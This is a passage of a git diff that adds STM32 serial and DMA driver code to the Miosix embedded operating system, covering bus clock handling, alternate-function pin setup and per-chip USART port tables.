useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include +#include +#include "interfaces/arch_registers.h" +#include "interfaces/gpio.h" + +/* + * Common code for STM32 serial drivers + */ + +/* + * We support multiple revisions of the hardware; the following defines select + * the hardware variant and additional quirks that need to be taken into + * account in the code. + */ + +#if defined(_CHIP_STM32F1) + #define BUS_HAS_AHB + #define BUS_HAS_APB12 + #define DMA_STM32F1 + #define ALTFUNC_STM32F1 +#elif defined(_CHIP_STM32L0) + #define BUS_HAS_AHB + #define BUS_HAS_APB12 + #define DMA_STM32F1 + #define DMA_HAS_CSELR + #define ALTFUNC_STM32F2_SPLIT +#elif defined(_CHIP_STM32L1) || defined(_CHIP_STM32F3) + #define BUS_HAS_AHB + #define BUS_HAS_APB12 + #define DMA_STM32F1 + #define ALTFUNC_STM32F2 +#elif defined(_CHIP_STM32F0) + #define BUS_HAS_AHB + #define BUS_HAS_APB + #if defined(STM32F030xC) + #define DMA_HAS_CSELR + #endif + #define DMA_STM32F1 + #if defined(STM32F072xB) + #define ALTFUNC_STM32F2_SPLIT + #else + #define ALTFUNC_STM32F2 + #endif +#elif defined(_CHIP_STM32L4) + #define BUS_HAS_AHB12 + #define BUS_HAS_APB1L1H2 + #if defined(DMAMUX1_Channel0) + #define DMA_HAS_MUX + #else + #define DMA_HAS_CSELR + #endif + #define DMA_STM32F1 + #define ALTFUNC_STM32F2 +#elif defined(_CHIP_STM32F7) + #define BUS_HAS_AHB12 + #define BUS_HAS_APB12 + #define DMA_STM32F2 + #define ALTFUNC_STM32F2_SPLIT +#elif defined(_CHIP_STM32H7) + #define BUS_HAS_AHB1234 + #define BUS_HAS_APB1L1H234 + #define DMA_STM32F2 + #define DMA_HAS_MUX + #define ALTFUNC_STM32F2_SPLIT +#elif defined(_CHIP_STM32U5) + #define BUS_HAS_AHB12L2H3 + #define BUS_HAS_APB1L1H23 + #define ALTFUNC_STM32F2 + #define DMA_STM32U5 +#else + #define BUS_HAS_AHB12 + #define BUS_HAS_APB12 + #define DMA_STM32F2 + #define ALTFUNC_STM32F2 +#endif + +namespace miosix { + +/* + * Helper class for handling enabling/disabling peripherals on a STM32 bus + */ + +class STM32Bus +{ +public: + enum ID { + #if defined(BUS_HAS_APB) || defined(BUS_HAS_APB12) + APB1, APB2, + #elif defined(BUS_HAS_APB1L1H23) + APB1L, APB1H, APB2, APB3, + #elif defined(BUS_HAS_APB1L1H2) + APB1L, APB1H, APB2, + #elif defined(BUS_HAS_APB1L1H234) + APB1L, APB1H, APB2, APB3, APB4, + #else // BUS_HAS_APBx + #error APB compile time bus setting unspecified + #endif // BUS_HAS_APBx + #if defined(BUS_HAS_AHB) + AHB, + #elif defined(BUS_HAS_AHB12) + AHB1, AHB2, + #elif defined(BUS_HAS_AHB12L2H3) + AHB1, AHB2L, AHB2H, AHB3, + #elif defined(BUS_HAS_AHB1234) + AHB1, AHB2, AHB3, AHB4, + #else // BUS_HAS_AHBx + #error AHB compile time bus setting unspecified + #endif // BUS_HAS_AHBx + }; + + static inline void IRQen(STM32Bus::ID bus, unsigned long mask) + { + getENR(bus)|=mask; + RCC_SYNC(); + } + static inline void IRQdis(STM32Bus::ID bus, unsigned long mask) + { + getENR(bus)&=~mask; + RCC_SYNC(); + } + + static inline unsigned int getClock(STM32Bus::ID bus) + { + unsigned int freq=SystemCoreClock; + switch(bus) + { + #if defined(BUS_HAS_APB) + case STM32Bus::APB1: + case STM32Bus::APB2: + if(RCC->CFGR & RCC_CFGR_PPRE_2) + freq/=1<<(((RCC->CFGR>>RCC_CFGR_PPRE_Pos) & 0x3)+1); + break; + #elif defined(BUS_HAS_APB12) + case STM32Bus::APB1: + if(RCC->CFGR & RCC_CFGR_PPRE1_2) + freq/=1<<(((RCC->CFGR>>RCC_CFGR_PPRE1_Pos) & 0x3)+1); + break; + case STM32Bus::APB2: + if(RCC->CFGR & RCC_CFGR_PPRE2_2) + freq/=1<<(((RCC->CFGR>>RCC_CFGR_PPRE2_Pos) & 0x3)+1); + break; + #elif defined(BUS_HAS_APB1L1H23) + // STM32U5xx + case STM32Bus::APB1L: + case STM32Bus::APB1H: + if(RCC->CFGR2 & RCC_CFGR2_PPRE1_2) + freq/=1<<(((RCC->CFGR2>>RCC_CFGR2_PPRE1_Pos) & 0x3)+1); + break; + case STM32Bus::APB2: + if(RCC->CFGR2 & RCC_CFGR2_PPRE2_2) + freq/=1<<(((RCC->CFGR2>>RCC_CFGR2_PPRE2_Pos) & 0x3)+1); + break; + case STM32Bus::APB3: + if(RCC->CFGR3 & RCC_CFGR3_PPRE3_2) + freq/=1<<(((RCC->CFGR3>>RCC_CFGR3_PPRE3_Pos) & 0x3)+1); + break; + #elif defined(BUS_HAS_APB1L1H2) + case STM32Bus::APB1L: + case STM32Bus::APB1H: + if(RCC->CFGR & RCC_CFGR_PPRE1_2) + freq/=1<<(((RCC->CFGR>>RCC_CFGR_PPRE1_Pos) & 0x3)+1); + break; + case STM32Bus::APB2: + if(RCC->CFGR & RCC_CFGR_PPRE2_2) + freq/=1<<(((RCC->CFGR>>RCC_CFGR_PPRE2_Pos) & 0x3)+1); + break; + #elif defined(BUS_HAS_APB1L1H234) + case STM32Bus::APB1L: + case STM32Bus::APB1H: // rcc_pclk1 + if(RCC->D1CFGR & RCC_D1CFGR_HPRE_3) + freq/=1<<(((RCC->D1CFGR>>RCC_D1CFGR_HPRE_Pos) & 0x7)+1); + if(RCC->D2CFGR & RCC_D2CFGR_D2PPRE1_2) + freq/=1<<(((RCC->D2CFGR>>RCC_D2CFGR_D2PPRE1_Pos) & 0x3)+1); + break; + case STM32Bus::APB2: // rcc_pclk2 + if(RCC->D1CFGR & RCC_D1CFGR_HPRE_3) + freq/=1<<(((RCC->D1CFGR>>RCC_D1CFGR_HPRE_Pos) & 0x7)+1); + if(RCC->D2CFGR & RCC_D2CFGR_D2PPRE2_2) + freq/=1<<(((RCC->D2CFGR>>RCC_D2CFGR_D2PPRE2_Pos) & 0x3)+1); + break; + case STM32Bus::APB4: // rcc_pclk4 + if(RCC->D1CFGR & RCC_D1CFGR_HPRE_3) + freq/=1<<(((RCC->D1CFGR>>RCC_D1CFGR_HPRE_Pos) & 0x7)+1); + if(RCC->D3CFGR & RCC_D3CFGR_D3PPRE_2) + freq/=1<<(((RCC->D3CFGR>>RCC_D3CFGR_D3PPRE_Pos) & 0x3)+1); + break; + #else + #error APB compile time bus setting unspecified + #endif + default: + break; + } + return freq; + } + +private: + static volatile uint32_t& getENR(STM32Bus::ID bus) + { + switch(bus) + { + #if defined(BUS_HAS_APB) || defined(BUS_HAS_APB12) + case STM32Bus::APB1: return RCC->APB1ENR; + case STM32Bus::APB2: return RCC->APB2ENR; + #elif defined(BUS_HAS_APB1L1H2) + case STM32Bus::APB1L: return RCC->APB1ENR1; + case STM32Bus::APB1H: return RCC->APB1ENR2; + case STM32Bus::APB2: return RCC->APB2ENR; + #elif defined(BUS_HAS_APB1L1H23) + case STM32Bus::APB1L: return RCC->APB1ENR1; + case STM32Bus::APB1H: return RCC->APB1ENR2; + case STM32Bus::APB2: return RCC->APB2ENR; + case STM32Bus::APB3: return RCC->APB3ENR; + #elif defined(BUS_HAS_APB1L1H234) + case STM32Bus::APB1L: return RCC->APB1LENR; + case STM32Bus::APB1H: return RCC->APB1HENR; + case STM32Bus::APB2: return RCC->APB2ENR; + case STM32Bus::APB3: return RCC->APB3ENR; + case STM32Bus::APB4: return RCC->APB4ENR; + #else + #error APB compile time bus setting unspecified + #endif // BUS_HAS_APBx + default: + #if defined(BUS_HAS_AHB) + case STM32Bus::AHB: return RCC->AHBENR; + #elif defined(BUS_HAS_AHB12) + case STM32Bus::AHB1: return RCC->AHB1ENR; + case STM32Bus::AHB2: return RCC->AHB2ENR; + #elif defined(BUS_HAS_AHB12L2H3) + case STM32Bus::AHB1: return RCC->AHB1ENR; + case STM32Bus::AHB2L: return RCC->AHB2ENR1; + case STM32Bus::AHB2H: return RCC->AHB2ENR2; + case STM32Bus::AHB3: return RCC->AHB3ENR; + #elif defined(BUS_HAS_AHB1234) + case STM32Bus::AHB1: return RCC->AHB1ENR; + case STM32Bus::AHB2: return RCC->AHB2ENR; + case STM32Bus::AHB3: return RCC->AHB3ENR; + case STM32Bus::AHB4: return RCC->AHB4ENR; + #else + #error AHB compile time bus setting unspecified + #endif // BUS_HAS_AHBx + } + } +}; + + +#if defined(ALTFUNC_STM32F1) + +struct STM32SerialAltFunc +{ +}; + +#elif defined(ALTFUNC_STM32F2) + +struct STM32SerialAltFunc +{ + void set(GpioPin& pin, bool pullUp=false) const + { + //First we set the AF then the mode to avoid glitches + pin.alternateFunction(af); + if(pullUp) pin.mode(Mode::ALTERNATE_PULL_UP); + else pin.mode(Mode::ALTERNATE); + } + unsigned char af; +}; + +#elif defined(ALTFUNC_STM32F2_SPLIT) + +/** + * Class representing a compressed Alternate Function assignment table. + * The assignment table is represented as a sequence of spans which implicitly + * starts from port GPIOA, pin 0. + * An example of a sequence of such spans is the following: + * {{1,12,4},{1,13,2},{0,0,4}} + * | | | + * | | \--- Alternate Function ID + * | \------ Pin in a port (0 to 15) + * \-------- Port as a number (GPIOA=0, GPIOB=1, GPIOC=2, GPIOD=3, ...) + * This means that the above array specifies the following table: + * - {1,12,4}: AF 4 from GPIOA, 0 to GPIOB, 12 (not included) + * - {1,13,2}: AF 2 from GPIOB, 12 to GPIOB, 13 (not included) + * - {0,0,4}: AF 4 from GPIOB, 13 and for all other following GPIOs. + */ +struct STM32SerialAltFunc +{ + struct Span + { + // when the span ends (exclusive) + unsigned char port:8, pin:4; + unsigned char af:4; // alternate function ID + }; + const Span *spans; + + void set(GpioPin& pin, bool pullUp=false) const; +private: + inline unsigned char lookup(GpioPin& gpio) const; +}; + +#else +#error Alternate function mode undefined +#endif + + +#if defined(DMA_HAS_MUX) + +class STM32SerialDMAMUXHW +{ +public: + inline void IRQinit() + { + get()->CCR&=~DMAMUX_CxCR_DMAREQ_ID; + get()->CCR|=static_cast(id)<( + reinterpret_cast(get())+0xA8); + unsigned long mask=(0xFUL<CPAR=reinterpret_cast(dr); + tx->CMAR=reinterpret_cast(buffer); + tx->CNDTR=size; + tx->CCR = DMA_CCR_MINC //Increment RAM pointer + | DMA_CCR_DIR //Memory to peripheral + | DMA_CCR_TCIE //Interrupt on completion + | DMA_CCR_TEIE //Interrupt on transfer error + | DMA_CCR_EN; //Start the DMA + } + + inline void IRQhandleDmaTxInterrupt() const + { + setTxIFCR(DMA_IFCR_CGIF1); + tx->CCR=0; //Disable DMA + } + + inline void IRQwaitDmaWriteStop() const + { + while((tx->CCR & DMA_CCR_EN) && !(getTxISR() & (DMA_ISR_TCIF1|DMA_ISR_TEIF1))) ; + } + + inline void IRQstartDmaRead(volatile uint32_t *dr, const char *buffer, unsigned int size) const + { + rx->CPAR=reinterpret_cast(dr); + rx->CMAR=reinterpret_cast(buffer); + rx->CNDTR=size; + rx->CCR = DMA_CCR_MINC //Increment RAM pointer + | 0 //Peripheral to memory + | DMA_CCR_TEIE //Interrupt on transfer error + | DMA_CCR_TCIE //Interrupt on transfer complete + | DMA_CCR_EN; //Start the DMA + } + + inline int IRQstopDmaRead() const + { + rx->CCR=0; + setRxIFCR(DMA_IFCR_CGIF1); + return rx->CNDTR; + } + + #ifdef DMA2 + DMA_TypeDef *dma; ///< Pointer to the DMA peripheral (DMA1/2) + STM32Bus::ID bus; ///< Bus where the DMA port is (AHB1 or 2) + unsigned long clkEnMask; ///< DMA clock enable bit + #endif + + DMA_Channel_TypeDef *tx; ///< Pointer to DMA TX channel + IRQn_Type txIrq; ///< DMA TX stream IRQ number + unsigned char txIRShift; ///< Value from DMAIntRegShift for the stream + #if defined(DMA_HAS_MUX) + STM32SerialDMAMUXHW txMux; + #elif defined(DMA_HAS_CSELR) + unsigned char txCsel; + #endif + + DMA_Channel_TypeDef *rx; ///< Pointer to DMA RX channel + IRQn_Type rxIrq; ///< DMA RX stream IRQ number + unsigned char rxIRShift; ///< Value from DMAIntRegShift for the stream + #if defined(DMA_HAS_MUX) + STM32SerialDMAMUXHW rxMux; + #elif defined(DMA_HAS_CSELR) + unsigned char rxCsel; + #endif + +private: + inline unsigned long getISR(unsigned char pos) const + { + return (get()->ISR>>pos) & 0b1111; + } + inline void setIFCR(unsigned char pos, unsigned long value) const + { + get()->IFCR=(value&0b1111) << pos; + } +}; + +#elif defined(DMA_STM32F2) + +class STM32SerialDMAHW +{ +public: + enum IntRegShift + { + Stream0= 0, Stream1= 0+6, Stream2=16, Stream3=16+6, + Stream4=32, Stream5=32+6, Stream6=48, Stream7=48+6 + }; + + inline DMA_TypeDef *get() const { return dma; } + inline void IRQenable() const { STM32Bus::IRQen(bus, clkEnMask); } + inline void IRQdisable() const { STM32Bus::IRQdis(bus, clkEnMask); } + + inline IRQn_Type getTxIRQn() const { return txIrq; } + inline unsigned long getTxISR() const { return getISR(txIRShift); } + inline void setTxIFCR(unsigned long v) const { return setIFCR(txIRShift,v); } + + inline IRQn_Type getRxIRQn() const { return rxIrq; } + inline unsigned long getRxISR() const { return getISR(rxIRShift); } + inline void setRxIFCR(unsigned long v) const { return setIFCR(rxIRShift,v); } + + inline void IRQinit() + { + #if defined(DMA_HAS_MUX) + txMux.IRQinit(); + rxMux.IRQinit(); + #endif + } + + inline void startDmaWrite(volatile uint32_t *dr, const char *buffer, size_t size) const + { + tx->PAR=reinterpret_cast(dr); + tx->M0AR=reinterpret_cast(buffer); + tx->NDTR=size; + //Quirk: not enabling DMA_SxFCR_FEIE because at the beginning of a transfer + //there is always at least one spurious fifo error due to the fact that the + //FIFO doesn't begin to fill up until after the DMA request is triggered. + // This is just a FIFO underrun error and as such it is resolved + //automatically by the DMA internal logic and does not stop the transfer, + //just like for FIFO overruns. + // On the other hand, a FIFO error caused by register misconfiguration + //would prevent the transfer from even starting, but the conditions for + //FIFO misconfiguration are known in advance and we don't fall in any of + //those cases. + // In other words, underrun, overrun and misconfiguration are the only FIFO + //error conditions; misconfiguration is impossible, and we don't need to do + //anything for overruns and underruns, so there is literally no reason to + //enable FIFO error interrupts in the first place. + tx->FCR=DMA_SxFCR_DMDIS;//Enable fifo + unsigned long channel=0; + #if !defined(DMA_HAS_MUX) + channel=txChannel << DMA_SxCR_CHSEL_Pos; + #endif + tx->CR = channel //Select channel + | DMA_SxCR_MINC //Increment RAM pointer + | DMA_SxCR_DIR_0 //Memory to peripheral + | DMA_SxCR_TCIE //Interrupt on completion + | DMA_SxCR_TEIE //Interrupt on transfer error + | DMA_SxCR_DMEIE //Interrupt on direct mode error + | DMA_SxCR_EN; //Start the DMA + } + + inline void IRQhandleDmaTxInterrupt() const + { + setTxIFCR(DMA_LIFCR_CTCIF0 + | DMA_LIFCR_CTEIF0 + | DMA_LIFCR_CDMEIF0 + | DMA_LIFCR_CFEIF0); + } + + inline void IRQwaitDmaWriteStop() const + { + while(tx->CR & DMA_SxCR_EN) ; + } + + inline void IRQstartDmaRead(volatile uint32_t *dr, const char *buffer, unsigned int size) const + { + rx->PAR=reinterpret_cast(dr); + rx->M0AR=reinterpret_cast(buffer); + rx->NDTR=size; + unsigned long channel=0; + #if !defined(DMA_HAS_MUX) + channel=rxChannel << DMA_SxCR_CHSEL_Pos; + #endif + rx->CR = channel //Select channel + | DMA_SxCR_MINC //Increment RAM pointer + | 0 //Peripheral to memory + | DMA_SxCR_HTIE //Interrupt on half transfer + | DMA_SxCR_TEIE //Interrupt on transfer error + | DMA_SxCR_DMEIE //Interrupt on direct mode error + | DMA_SxCR_EN; //Start the DMA + } + + inline int IRQstopDmaRead() const + { + //Stop DMA and wait for it to actually stop + rx->CR &= ~DMA_SxCR_EN; + while(rx->CR & DMA_SxCR_EN) ; + setRxIFCR(DMA_LIFCR_CTCIF0 + | DMA_LIFCR_CHTIF0 + | DMA_LIFCR_CTEIF0 + | DMA_LIFCR_CDMEIF0 + | DMA_LIFCR_CFEIF0); + return rx->NDTR; + } + + DMA_TypeDef *dma; ///< Pointer to the DMA peripheral (DMA1/2) + STM32Bus::ID bus; ///< Bus where the DMA port is (AHB1 or 2) + unsigned long clkEnMask; ///< DMA clock enable bit + + DMA_Stream_TypeDef *tx; ///< Pointer to DMA TX stream + IRQn_Type txIrq; ///< DMA TX stream IRQ number + unsigned char txIRShift; ///< Value from DMAIntRegShift for the stream + #if defined(DMA_HAS_MUX) + STM32SerialDMAMUXHW txMux; + #else + unsigned char txChannel; ///< DMA TX stream channel + #endif + + DMA_Stream_TypeDef *rx; ///< Pointer to DMA RX stream + IRQn_Type rxIrq; ///< DMA RX stream IRQ number + unsigned char rxIRShift; ///< Value from DMAIntRegShift for the stream + #if defined(DMA_HAS_MUX) + STM32SerialDMAMUXHW rxMux; + #else + unsigned char rxChannel; ///< DMA TX stream channel + #endif + +private: + inline unsigned long getISR(unsigned char pos) const + { + if(pos<32) return (dma->LISR>>pos) & 0b111111; + return (dma->HISR>>(pos-32)) & 0b111111; + } + inline void setIFCR(unsigned char pos, unsigned long value) const + { + value=(value&0b111111) << (pos%32); + if(pos<32) dma->LIFCR=value; + else dma->HIFCR=value; + } +}; + +#elif defined(DMA_STM32U5) + + +#endif // DMA_STM32Fx + +} // namespace miosix diff --git a/miosix/arch/drivers/serial/stm32f1_f2_f4_serial.cpp b/miosix/arch/drivers/serial/stm32f1_f2_f4_serial.cpp new file mode 100644 index 000000000..47d0b69c7 --- /dev/null +++ b/miosix/arch/drivers/serial/stm32f1_f2_f4_serial.cpp @@ -0,0 +1,663 @@ +/*************************************************************************** + * Copyright (C) 2010-2018 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +#include +#include "stm32f1_f2_f4_serial.h" +#include "stm32_serial_common.h" +#include "kernel/sync.h" +#include "filesystem/ioctl.h" +#include "interfaces/cache.h" +#include "interfaces/interrupts.h" + +using namespace std; + +namespace miosix { + +/* + * Auxiliary class that encapsulates all parts of code that differ between + * between each instance of the USART peripheral. + * + * Try not to use the attributes of this class directly even if they are public. + */ + +class STM32SerialHW +{ +public: + inline USART_TypeDef *get() const { return port; } + inline IRQn_Type getIRQn() const { return irq; } + #if !defined(ALTFUNC_STM32F1) + inline STM32SerialAltFunc const & getAltFunc() const { return altFunc; } + #endif + inline unsigned int IRQgetClock() const { return STM32Bus::getClock(bus); } + inline void IRQenable() const { STM32Bus::IRQen(bus, clkEnMask); } + inline void IRQdisable() const { STM32Bus::IRQdis(bus, clkEnMask); } + inline const STM32SerialDMAHW& getDma() const { return dma; } + + USART_TypeDef *port; ///< USART port + IRQn_Type irq; ///< USART IRQ number + #if !defined(ALTFUNC_STM32F1) + STM32SerialAltFunc altFunc; ///< Alternate function to set for GPIOs + #endif + STM32Bus::ID bus; ///< Bus where the port is (APB1 or 2) + unsigned long clkEnMask; ///< USART clock enable + + STM32SerialDMAHW dma; +}; + +/* + * Table of hardware configurations + */ +#if defined(STM32F100xB) || defined(STM32F103xB) +constexpr int maxPorts = 3; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA1_Channel4, DMA1_Channel4_IRQn, STM32SerialDMAHW::Channel4, + DMA1_Channel5, DMA1_Channel5_IRQn, STM32SerialDMAHW::Channel5 } }, + { USART2, USART2_IRQn, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { DMA1_Channel7, DMA1_Channel7_IRQn, STM32SerialDMAHW::Channel7, + DMA1_Channel6, DMA1_Channel6_IRQn, STM32SerialDMAHW::Channel6 } }, + { USART3, USART3_IRQn, STM32Bus::APB1, RCC_APB1ENR_USART3EN, + { DMA1_Channel2, DMA1_Channel2_IRQn, STM32SerialDMAHW::Channel2, + DMA1_Channel3, DMA1_Channel3_IRQn, STM32SerialDMAHW::Channel3 } }, +}; +#elif defined(STM32F103xE) +constexpr int maxPorts = 5; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA1, STM32Bus::AHB, RCC_AHBENR_DMA1EN, + DMA1_Channel4, DMA1_Channel4_IRQn, STM32SerialDMAHW::Channel4, + DMA1_Channel5, DMA1_Channel5_IRQn, STM32SerialDMAHW::Channel5 } }, + { USART2, USART2_IRQn, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { DMA1, STM32Bus::AHB, RCC_AHBENR_DMA1EN, + DMA1_Channel7, DMA1_Channel7_IRQn, STM32SerialDMAHW::Channel7, + DMA1_Channel6, DMA1_Channel6_IRQn, STM32SerialDMAHW::Channel6 } }, + { USART3, USART3_IRQn, STM32Bus::APB1, RCC_APB1ENR_USART3EN, + { DMA1, STM32Bus::AHB, RCC_AHBENR_DMA1EN, + DMA1_Channel2, DMA1_Channel2_IRQn, STM32SerialDMAHW::Channel2, + DMA1_Channel3, DMA1_Channel3_IRQn, STM32SerialDMAHW::Channel3 } }, + { UART4, UART4_IRQn, STM32Bus::APB1, RCC_APB1ENR_UART4EN, + { DMA2, STM32Bus::AHB, RCC_AHBENR_DMA2EN, + DMA2_Channel5, DMA2_Channel4_5_IRQn, STM32SerialDMAHW::Channel5, + DMA2_Channel3, DMA2_Channel3_IRQn, STM32SerialDMAHW::Channel3 } }, + { UART5, UART5_IRQn, STM32Bus::APB1, RCC_APB1ENR_UART5EN, { 0 } }, +}; +#elif defined(STM32L151xB) || defined(STM32L152xB) +constexpr int maxPorts = 3; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {7}, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA1_Channel4, DMA1_Channel4_IRQn, STM32SerialDMAHW::Channel4, + DMA1_Channel5, DMA1_Channel5_IRQn, STM32SerialDMAHW::Channel5 } }, + { USART2, USART2_IRQn, {7}, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { DMA1_Channel7, DMA1_Channel7_IRQn, STM32SerialDMAHW::Channel7, + DMA1_Channel6, DMA1_Channel6_IRQn, STM32SerialDMAHW::Channel6 } }, + { USART3, USART3_IRQn, {7}, STM32Bus::APB1, RCC_APB1ENR_USART3EN, + { DMA1_Channel2, DMA1_Channel2_IRQn, STM32SerialDMAHW::Channel2, + DMA1_Channel3, DMA1_Channel3_IRQn, STM32SerialDMAHW::Channel3 } }, +}; +#elif defined(STM32L151xE) || defined(STM32L152xE) +constexpr int maxPorts = 5; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {7}, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA1, STM32Bus::AHB, RCC_AHBENR_DMA1EN, + DMA1_Channel4, DMA1_Channel4_IRQn, STM32SerialDMAHW::Channel4, + DMA1_Channel5, DMA1_Channel5_IRQn, STM32SerialDMAHW::Channel5 } }, + { USART2, USART2_IRQn, {7}, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { DMA1, STM32Bus::AHB, RCC_AHBENR_DMA1EN, + DMA1_Channel7, DMA1_Channel7_IRQn, STM32SerialDMAHW::Channel7, + DMA1_Channel6, DMA1_Channel6_IRQn, STM32SerialDMAHW::Channel6 } }, + { USART3, USART3_IRQn, {7}, STM32Bus::APB1, RCC_APB1ENR_USART3EN, + { DMA1, STM32Bus::AHB, RCC_AHBENR_DMA1EN, + DMA1_Channel2, DMA1_Channel2_IRQn, STM32SerialDMAHW::Channel2, + DMA1_Channel3, DMA1_Channel3_IRQn, STM32SerialDMAHW::Channel3 } }, + { UART4 , UART4_IRQn , {8}, STM32Bus::APB1, RCC_APB1ENR_UART4EN, + { DMA2, STM32Bus::AHB, RCC_AHBENR_DMA2EN, + DMA2_Channel5, DMA2_Channel5_IRQn, STM32SerialDMAHW::Channel5, + DMA2_Channel3, DMA2_Channel3_IRQn, STM32SerialDMAHW::Channel3 } }, + { UART5 , UART5_IRQn , {8}, STM32Bus::APB1, RCC_APB1ENR_UART5EN, + { DMA2, STM32Bus::AHB, RCC_AHBENR_DMA2EN, + DMA2_Channel1, DMA2_Channel1_IRQn, STM32SerialDMAHW::Channel1, + DMA2_Channel2, DMA2_Channel2_IRQn, STM32SerialDMAHW::Channel2 } }, +}; +#elif defined(STM32F401xE) || defined(STM32F401xC) || defined(STM32F411xE) +constexpr int maxPorts = 6; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {7}, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream7, DMA2_Stream7_IRQn, STM32SerialDMAHW::Stream7, 4, + DMA2_Stream5, DMA2_Stream5_IRQn, STM32SerialDMAHW::Stream5, 4 } }, + { USART2, USART2_IRQn, {7}, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, 4, + DMA1_Stream5, DMA1_Stream5_IRQn, STM32SerialDMAHW::Stream5, 4 } }, + { 0 }, + { 0 }, + { 0 }, + { USART6, USART6_IRQn, {8}, STM32Bus::APB2, RCC_APB2ENR_USART6EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream6, DMA2_Stream6_IRQn, STM32SerialDMAHW::Stream6, 5, + DMA2_Stream1, DMA2_Stream1_IRQn, STM32SerialDMAHW::Stream1, 5 } }, +}; +#elif defined(STM32F405xx) || defined(STM32F415xx) || defined(STM32F407xx) \ + || defined(STM32F417xx) || defined(STM32F205xx) || defined(STM32F207xx) +constexpr int maxPorts = 6; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {7}, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream7, DMA2_Stream7_IRQn, STM32SerialDMAHW::Stream7, 4, + DMA2_Stream5, DMA2_Stream5_IRQn, STM32SerialDMAHW::Stream5, 4 } }, + { USART2, USART2_IRQn, {7}, STM32Bus::APB1, RCC_APB1ENR_USART2EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream6, DMA1_Stream6_IRQn, STM32SerialDMAHW::Stream6, 4, + DMA1_Stream5, DMA1_Stream5_IRQn, STM32SerialDMAHW::Stream5, 4 } }, + { USART3, USART3_IRQn, {7}, STM32Bus::APB1, RCC_APB1ENR_USART3EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream3, DMA1_Stream3_IRQn, STM32SerialDMAHW::Stream3, 4, + DMA1_Stream1, DMA1_Stream1_IRQn, STM32SerialDMAHW::Stream1, 4 } }, + { UART4 , UART4_IRQn , {8}, STM32Bus::APB1, RCC_APB1ENR_UART4EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream4, DMA1_Stream4_IRQn, STM32SerialDMAHW::Stream4, 4, + DMA1_Stream2, DMA1_Stream2_IRQn, STM32SerialDMAHW::Stream2, 4 } }, + { UART5 , UART5_IRQn , {8}, STM32Bus::APB1, RCC_APB1ENR_UART5EN, + { DMA1, STM32Bus::AHB1, RCC_AHB1ENR_DMA1EN, + DMA1_Stream7, DMA1_Stream7_IRQn, STM32SerialDMAHW::Stream7, 4, + DMA1_Stream0, DMA1_Stream0_IRQn, STM32SerialDMAHW::Stream0, 4 } }, + { USART6, USART6_IRQn, {8}, STM32Bus::APB2, RCC_APB2ENR_USART6EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream6, DMA2_Stream6_IRQn, STM32SerialDMAHW::Stream6, 5, + DMA2_Stream1, DMA2_Stream1_IRQn, STM32SerialDMAHW::Stream1, 5 } }, +}; +#elif defined(STM32F427xx) || defined(STM32F429xx) || defined(STM32F469xx) \ + || defined(STM32F479xx) +constexpr int maxPorts = 8; +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {7}, STM32Bus::APB2, RCC_APB2ENR_USART1EN, + { DMA2, STM32Bus::AHB1, RCC_AHB1ENR_DMA2EN, + DMA2_Stream7, DMA2_Stream7_IRQn, STM32SerialDMAHW::Stream7, 4, + DMA2_Stream5, DMA2_Stream5_IRQn, STM32SerialDMAHW::Stream5, 4 } }, + { USART2, USART2_IRQn, {7}, STM32Bus::APB1, 